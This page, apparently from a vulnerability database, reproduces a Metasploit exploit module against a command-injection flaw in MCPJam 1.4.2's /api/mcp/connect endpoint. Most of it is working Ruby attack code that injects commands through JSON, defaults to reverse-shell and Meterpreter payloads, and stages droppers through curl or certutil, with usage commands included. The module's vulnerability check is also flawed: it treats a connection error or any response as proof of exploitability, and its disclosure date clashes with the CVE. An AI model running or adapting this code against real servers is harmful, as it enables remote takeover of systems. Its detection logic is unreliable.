Lucene search
K

📄 MCPJam 1.4.2 Command Injection

🗓️ 27 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 152 Views

MCPJam 1.4.2 command injection on /api/mcp/connect enables remote code execution via crafted JSON.

Related
Code
=============================================================================================================================================
    | # Title     : MCPJam 1.4.2 command injection vulnerability                                                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://github.com/MCPJam                                                                                                   |
    =============================================================================================================================================
    
    [+] References: https://packetstorm.news/files/id/214283/ & CVE-2026-23744
    
    [+] Summary:  This Metasploit exploit module targets the MCP (Model Context Protocol) server, specifically exploiting a command injection vulnerability in the /api/mcp/connect endpoint. 
                  The vulnerability allows unauthorized remote command execution by sending crafted JSON payloads that are executed by the server without proper sanitization.
    
    [+] Platforms Supported: Unix/Linux and Windows
    
    [+] Payload Types:
    
    Command execution (ARCH_CMD)
    
    Dropper payloads for Linux and Windows (ARCH_X64)
    
    [+] Functionality:
    
    Check if the target server is reachable and running MCP
    
    Test the server for RCE vulnerability using safe commands
    
    Exploit the server via command payloads or staged droppers
    
    [+] Robustness:
    
    Handles connection errors, timeouts, and server readiness
    
    Supports verbose output for debugging and test confirmation
    
    [+] Metasploit Integration:
    
    Compatible with Msf::Exploit::Remote::HttpClient and CmdStager
    
    Provides multiple targets and configurable options (RPORT, TARGETURI, WAIT_TIMEOUT, VERBOSE)
    
    [+] Usage :
    
    use exploit/multi/mcp_rce
    set RHOSTS 192.168.1.100
    set RPORT 6274
    set TARGETURI /
    run
    
    [+] Notes:
    
    The module does not require privileged access
    
    Exploitation may leave artifacts on disk or logs
    
    Safe for testing, but ensure authorization before use
    
    [+] POC :
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'MCP Server Remote Code Execution',
            'Description' => %q{
              This module exploits a command injection vulnerability in the MCP
              (Model Context Protocol) server. The vulnerability exists in the
              /api/mcp/connect endpoint which allows unauthorized remote command
              execution.
              
              The server runs on port 6274 by default and accepts JSON payloads
              that are passed directly to system() calls or similar execution
              functions without proper sanitization.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['URL', 'https://packetstorm.news/files/id/214283/'],
              ['CVE', '	CVE-2026-23744']  
            ],
            'Platform' => %w[unix linux win],
            'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
            'Targets' => [
              [
                'Unix/Linux (CMD)',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
                  'Type' => :cmd
                }
              ],
              [
                'Windows (CMD)',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' },
                  'Type' => :cmd
                }
              ],
              [
                'Linux (Dropper)',
                {
                  'Platform' => 'linux',
                  'Arch' => ARCH_X64,
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
                  'Type' => :dropper
                }
              ],
              [
                'Windows (Dropper)',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_X64,
                  'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' },
                  'Type' => :dropper
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2024-01-01',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          Opt::RPORT(6274),
          OptString.new('TARGETURI', [true, 'The base path to MCP server', '/']),
          OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait for server', 30]),
          OptBool.new('VERBOSE', [false, 'Enable verbose output', false])
        ])
      end
    
      def check
        vprint_status("Checking if target #{peer} is running MCP server...")
        
        begin
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path)
          })
        rescue ::Rex::ConnectionError
          return Exploit::CheckCode::Safe("Connection failed")
        end
        
        unless res
          return Exploit::CheckCode::Safe("No response received")
        end
    
        if res.code == 200 || res.code < 500
          vprint_good("Server responded with code #{res.code}")
    
          if test_vulnerability
            return Exploit::CheckCode::Vulnerable("Confirmed RCE vulnerability")
          else
            return Exploit::CheckCode::Appears("Server appears to be MCP but RCE not confirmed")
          end
        end
        
        Exploit::CheckCode::Safe("Does not appear to be MCP server")
      end
    
      def exploit
        print_status("Starting exploitation of #{peer}...")
    
        unless check_server
          fail_with(Failure::Unknown, "Server not reachable")
        end
        
        case target['Type']
        when :cmd
          exploit_cmd
        when :dropper
          exploit_dropper
        else
          fail_with(Failure::NoTarget, "Invalid target type selected")
        end
      end
    
      private
    
      def check_server
        print_status("Waiting for server on #{peer}...")
        
        start_time = Time.now
        max_wait = datastore['WAIT_TIMEOUT']
        
        while Time.now - start_time < max_wait
          begin
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => normalize_uri(target_uri.path),
              'timeout' => 2
            })
            
            if res && res.code < 500
              print_good("Server ready after #{Time.now - start_time:.2f} seconds")
              return true
            end
          rescue ::Rex::ConnectionError
    
          rescue ::Rex::TimeoutError
    
          end
    
          Rex.sleep(1)
        end
        
        print_error("Server failed to start within #{max_wait} seconds")
        false
      end
    
      def test_vulnerability
        vprint_status("Testing vulnerability...")
        
        test_commands = [
          "echo MSF_TEST_#{Rex::Text.rand_text_alpha(8)}",
          "printf VULN_TEST",
          "ver"
        ]
        
        successful_tests = 0
        
        test_commands.each do |cmd|
          vprint_status("Testing command: #{cmd}")
          payload = create_payload(cmd)
          
          begin
            res = send_request_cgi({
              'method' => 'POST',
              'uri' => normalize_uri(target_uri.path, 'api', 'mcp', 'connect'),
              'ctype' => 'application/json',
              'data' => payload.to_json
            })
            
            if res
              vprint_good("Command #{cmd} sent successfully (status: #{res.code})")
              successful_tests += 1
            else
              vprint_warning("No response for command: #{cmd}")
            end
          rescue ::Rex::ConnectionError
            vprint_warning("Connection error for command: #{cmd}")
    
            successful_tests += 1
          end
    
          Rex.sleep(0.5)
        end
        
        is_vulnerable = successful_tests > 0
        vprint_status("Vulnerability test result: #{successful_tests}/#{test_commands.length} successful")
        is_vulnerable
      end
    
      def create_payload(command)
    
        if target['Platform'] == 'unix' || target['Platform'] == 'linux'
          cmd_parts = Shellwords.split(command)
          cmd = cmd_parts[0]
          args = cmd_parts[1..-1] || []
          
          env_vars = {
            'PATH' => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
            'SHELL' => '/bin/bash'
          }
        else
    
          cmd = 'cmd.exe'
          args = ['/c', command]
          env_vars = {}
        end
        
        {
          'serverConfig' => {
            'command' => cmd,
            'args' => args,
            'env' => env_vars
          },
          'serverId' => "msf_#{Rex::Text.rand_text_alphanumeric(8)}"
        }
      end
    
      def exploit_cmd
        print_status("Exploiting with command payload...")
        
        case target['Platform']
        when 'unix', 'linux'
          cmd = payload.encoded
        when 'win'
          cmd = payload.encoded
        end
        
        payload_data = create_payload(cmd)
        
        print_status("Sending payload to #{peer}...")
        
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'api', 'mcp', 'connect'),
            'ctype' => 'application/json',
            'data' => payload_data.to_json
          })
          
          if res
            print_status("Server responded with status: #{res.code}")
            
            if res.body && !res.body.empty?
              vprint_status("Response body: #{res.body[0..500]}")
            end
          else
            print_warning("No response received - exploitation may have succeeded")
          end
    
          Rex.sleep(2)
          
          print_good("Exploitation completed")
          
        rescue ::Rex::ConnectionError => e
          print_warning("Connection error: #{e.message}")
          print_warning("This may indicate successful exploitation")
        rescue ::Rex::TimeoutError
          print_error("Request timeout")
        end
      end
    
      def exploit_dropper
        print_status("Exploiting with dropper payload...")
    
        case target['Platform']
        when 'linux'
          execute_cmdstager(
            flavor: :curl,
            linemax: 2048
          )
        when 'win'
          execute_cmdstager(
            flavor: :certutil,
            linemax: 2048
          )
        end
      end
    
      def execute_command(cmd, opts = {})
        vprint_status("Executing command: #{cmd}")
        
        payload_data = create_payload(cmd)
        
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'api', 'mcp', 'connect'),
            'ctype' => 'application/json',
            'data' => payload_data.to_json,
            'timeout' => 10
          })
          
          if res && datastore['VERBOSE']
            vprint_status("Command response: #{res.code}")
          end
          
        rescue ::Rex::ConnectionError
          vprint_warning("Connection error during command execution")
        rescue ::Rex::TimeoutError
          vprint_warning("Timeout during command execution")
        end
    
        nil
      end
    end
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation